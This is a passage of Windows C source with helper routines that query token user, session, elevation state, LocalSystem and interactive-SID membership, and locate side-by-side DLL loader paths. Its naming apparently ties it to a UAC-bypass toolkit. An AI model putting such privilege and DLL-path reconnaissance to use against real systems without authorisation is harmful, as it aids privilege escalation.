RtlFreeHeap(hHeap, 0, pTIL);
}
}
//
// Domain\User name.
//
LengthNeeded = 0;
status = NtQueryInformationToken(
hToken,
TokenUser,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
ptu = (PTOKEN_USER)RtlAllocateHeap(
hHeap,
HEAP_ZERO_MEMORY,
LengthNeeded);
if (ptu) {
status = NtQueryInformationToken(
hToken,
TokenUser,
ptu,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
SecurityQualityOfService.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQualityOfService.ImpersonationLevel = SecurityImpersonation;
SecurityQualityOfService.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
SecurityQualityOfService.EffectiveOnly = FALSE;
InitializeObjectAttributes(
&lobja,
NULL,
0L,
NULL,
NULL);
lobja.SecurityQualityOfService = &SecurityQualityOfService;
status = LsaOpenPolicy(
NULL,
&lobja,
POLICY_LOOKUP_NAMES,
&PolicyHandle);
if (NT_SUCCESS(status)) {
status = LsaLookupSids(
PolicyHandle,
1,
&ptu->User.Sid,
&ReferencedDomains,
&Names);
if ((NT_SUCCESS(status)) && (status != STATUS_SOME_NOT_MAPPED)) {
if (ReferencedDomains != NULL) {
szBuffer[0] = 0;
_strncpy(
szBuffer,
MAX_PATH,
ReferencedDomains->Domains[0].Name.Buffer,
ReferencedDomains->Domains[0].Name.Length / sizeof(WCHAR));
_strcat(lpReport, TEXT("\r\n"));
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT("\\"));
}
if (Names != NULL) {
szBuffer[0] = 0;
_strncpy(
szBuffer,
MAX_PATH,
Names->Name.Buffer,
Names->Name.Length / sizeof(WCHAR));
_strcat(lpReport, szBuffer);
}
}
if (ReferencedDomains) LsaFreeMemory(ReferencedDomains);
if (Names) LsaFreeMemory(Names);
LsaClose(PolicyHandle);
}
}
RtlFreeHeap(hHeap, 0, ptu);
}
}
//
// Session info
//
LengthNeeded = 0;
_strcpy(szBuffer, TEXT("\r\nSessionId="));
ultostr(SessionId, _strend(szBuffer));
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT("\r\nInteractive Winstation="));
if (ucmIsUserWinstaInteractive())
_strcat(lpReport, TEXT("yes"));
else
_strcat(lpReport, TEXT("no"));
NtClose(hToken);
}
//
// 4. Wow64
//
RtlSecureZeroMemory(&pebi, sizeof(pebi));
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
status = NtQueryInformationProcess(
NtCurrentProcess(),
ProcessBasicInformation,
&pebi,
sizeof(pebi),
NULL);
if (NT_SUCCESS(status)) {
_strcpy(szBuffer, TEXT("\r\nWOW64 Enabled="));
ultostr(pebi.IsWow64Process, _strend(szBuffer));
_strcat(lpReport, szBuffer);
}
if (ReturnData == FALSE) {
MessageBox(
GetDesktopWindow(),
lpReport,
GetCommandLine(),
MB_ICONINFORMATION);
RtlFreeHeap(hHeap, 0, lpReport);
lpReport = NULL;
}
return lpReport;
}
/*
* ucmDestroyRuntimeInfo
*
* Purpose:
*
* Release memory allocated by ucmQueryRuntimeInfo if ReturnData flag used.
*
*/
BOOLEAN ucmDestroyRuntimeInfo(
_In_ LPWSTR RuntimeInfo)
{
return RtlFreeHeap(
NtCurrentPeb()->ProcessHeap,
0,
RuntimeInfo);
}
/*
* ucmIsUserWinstaInteractive
*
* Purpose:
*
* Return TRUE if current user operates on Winstation with visible surfaces, FALSE otherwise.
*
*/
BOOL ucmIsUserWinstaInteractive(
VOID
)
{
BOOL bResult = TRUE;
USEROBJECTFLAGS uof;
HWINSTA hWinStation;
//
// Open current winstation.
//
hWinStation = GetProcessWindowStation();
if (hWinStation) {
//
// Query winstation flags.
//
if (GetUserObjectInformation(
hWinStation,
UOI_FLAGS,
&uof,
sizeof(USEROBJECTFLAGS),
NULL))
{
//
// Are winstation has visible surfaces?
//
if ((uof.dwFlags & WSF_VISIBLE) == 0)
bResult = FALSE;
}
}
return bResult;
}
/*
* ucmIsUserHasInteractiveSid
*
* Purpose:
*
* pbInteractiveSid will be set to TRUE if current user has interactive sid, FALSE otherwise.
*
* Function return operation status code.
*
*/
NTSTATUS ucmIsUserHasInteractiveSid(
_In_ HANDLE hToken,
_Out_ PBOOL pbInteractiveSid)
{
BOOL bCond = FALSE, IsInteractiveSid = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hHeap = NtCurrentPeb()->ProcessHeap;
ULONG LengthNeeded = 0;
DWORD i;
SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_NT_AUTHORITY;
PSID InteractiveSid = NULL;
PTOKEN_GROUPS groupInfo = NULL;
do {
status = NtQueryInformationToken(
hToken,
TokenGroups,
NULL,
0,
&LengthNeeded);
if (status != STATUS_BUFFER_TOO_SMALL)
break;
groupInfo = (PTOKEN_GROUPS)RtlAllocateHeap(
hHeap,
HEAP_ZERO_MEMORY,
LengthNeeded);
if (groupInfo == NULL)
break;
status = NtQueryInformationToken(
hToken,
TokenGroups,
groupInfo,
LengthNeeded,
&LengthNeeded);
if (!NT_SUCCESS(status))
break;
status = RtlAllocateAndInitializeSid(
&SidAuth,
1,
SECURITY_INTERACTIVE_RID,
0, 0, 0, 0, 0, 0, 0,
&InteractiveSid);
if (!NT_SUCCESS(status))
break;
for (i = 0; i < groupInfo->GroupCount; i++) {
if (RtlEqualSid(
InteractiveSid,
groupInfo->Groups[i].Sid))
{
IsInteractiveSid = TRUE;
break;
}
}
} while (bCond);
if (groupInfo != NULL)
RtlFreeHeap(hHeap, 0, groupInfo);
if (pbInteractiveSid)
*pbInteractiveSid = IsInteractiveSid;
if (InteractiveSid)
RtlFreeSid(InteractiveSid);
return status;
}
/*
* ucmIsLocalSystem
*
* Purpose:
*
* pbResult will be set to TRUE if current account is run by system user, FALSE otherwise.
*
* Function return operation status code.
*
*/
NTSTATUS ucmIsLocalSystem(
_Out_ PBOOL pbResult)
{
BOOL bResult = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hToken = NULL;
HANDLE ProcessHeap = NtCurrentPeb()->ProcessHeap;
ULONG LengthNeeded = 0;
PSID SystemSid = NULL;
PTOKEN_USER ptu = NULL;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_QUERY,
&hToken);
if (NT_SUCCESS(status)) {
status = NtQueryInformationToken(
hToken,
TokenUser,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
ptu = (PTOKEN_USER)RtlAllocateHeap(
ProcessHeap,
HEAP_ZERO_MEMORY,
LengthNeeded);
if (ptu) {
status = NtQueryInformationToken(
hToken,
TokenUser,
ptu,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
status = RtlAllocateAndInitializeSid(
&NtAuth,
1,
SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0,
&SystemSid);
if (NT_SUCCESS(status)) {
bResult = RtlEqualSid(ptu->User.Sid, SystemSid);
RtlFreeSid(SystemSid);
}
}
RtlFreeHeap(ProcessHeap, 0, ptu);
}
else {
status = STATUS_INSUFFICIENT_RESOURCES;
}
} //STATUS_BUFFER_TOO_SMALL
NtClose(hToken);
}
if (pbResult)
*pbResult = bResult;
return status;
}
/*
* sxsFilePathNoSlash
*
* Purpose:
*
* same as _filepath except it doesnt return last slash.
*
*/
wchar_t *sxsFilePathNoSlash(
_In_ const wchar_t *fname,
_In_ wchar_t *fpath
)
{
wchar_t *p = (wchar_t *)fname, *p0 = (wchar_t*)fname, *p1 = (wchar_t*)fpath;
if ((fname == 0) || (fpath == NULL))
return 0;
while (*fname != (wchar_t)0) {
if (*fname == '\\')
p = (wchar_t *)fname;
fname++;
}
while (p0 < p) {
*p1 = *p0;
p1++;
p0++;
}
*p1 = 0;
return fpath;
}
/*
* sxsFindLoaderEntry
*
* Purpose:
*
* Return loader entry filename for sxs dll.
*
*/
BOOL sxsFindLoaderEntry(
_In_ PSXS_SEARCH_CONTEXT Context
)
{
NTSTATUS Status;
HANDLE hDll = NULL;
UNICODE_STRING usDll;
PLDR_DATA_TABLE_ENTRY LdrTableEntry = NULL;
RtlInitUnicodeString(&usDll, Context->DllName);
Status = LdrGetDllHandle(
NULL,
NULL,
&usDll,
&hDll);
if (NT_SUCCESS(Status)) {
Status = LdrFindEntryForAddress(
hDll,
&LdrTableEntry);
if (NT_SUCCESS(Status)) {
if (_strstri(
LdrTableEntry->FullDllName.Buffer,
L".local") == NULL)
{
if (_strstri(
LdrTableEntry->FullDllName.Buffer,
Context->SxsKey))
{
sxsFilePathNoSlash(
LdrTableEntry->FullDllName.Buffer,
Context->FullDllPath);
}
else
Status = STATUS_NOT_FOUND;
}
else
Status = STATUS_TOO_LATE;
}
}
return NT_SUCCESS(Status);
}
/*
* ucmGetProcessElevationType
*
* Purpose:
*
* Returns process elevation type.
*
*/
BOOL ucmGetProcessElevationType(
_In_opt_ HANDLE ProcessHandle,
_Out_ TOKEN_ELEVATION_TYPE *lpType
)
{
HANDLE hToken = NULL, processHandle = ProcessHandle;
NTSTATUS Status;
ULONG BytesRead = 0;
TOKEN_ELEVATION_TYPE TokenType = TokenElevationTypeDefault;
if (ProcessHandle == NULL) {
processHandle = GetCurrentProcess();
}
Status = NtOpenProcessToken(processHandle, TOKEN_QUERY, &hToken);
if (NT_SUCCESS(Status)) {
Status = NtQueryInformationToken(hToken, TokenElevationType, &TokenType,
sizeof(TOKEN_ELEVATION_TYPE), &BytesRead);
NtClose(hToken);
}
if (lpType)
*lpType = TokenType;
return (NT_SUCCESS(Status));
}
/*
* ucmIsProcessElevated
*
* Purpose:
*
* Returns process elevation state.
*
*/
NTSTATUS ucmIsProcessElevated(
_In_ ULONG ProcessId,
_Out_ PBOOL Elevated)
{
NTSTATUS Status;
ULONG Dummy;
HANDLE ProcessHandle, TokenHandle;
CLIENT_ID ClientId;
TOKEN_ELEVATION TokenInfo;
OBJECT_ATTRIBUTES ObAttr = RTL_INIT_OBJECT_ATTRIBUTES(NULL, 0);
ClientId.UniqueProcess = UlongToHandle(ProcessId);
ClientId.UniqueThread = NULL;
if (Elevated) *Elevated = FALSE;
Status = NtOpenProcess(&ProcessHandle, MAXIMUM_ALLOWED, &ObAttr, &ClientId);
if (NT_SUCCESS(Status)) {
Status = NtOpenProcessToken(ProcessHandle, TOKEN_QUERY, &TokenHandle);
if (NT_SUCCESS(Status)) {
TokenInfo.TokenIsElevated = 0;
Status = NtQueryInformationToken(TokenHandle,
TokenElevation, &TokenInfo,
sizeof(TOKEN_ELEVATION), &Dummy);
if (NT_SUCCESS(Status)) {
if (Elevated) *Elevated = (TokenInfo.TokenIsElevated > 0);
}
NtClose(TokenHandle);
}
NtClose(ProcessHandle);
}
return Status;
}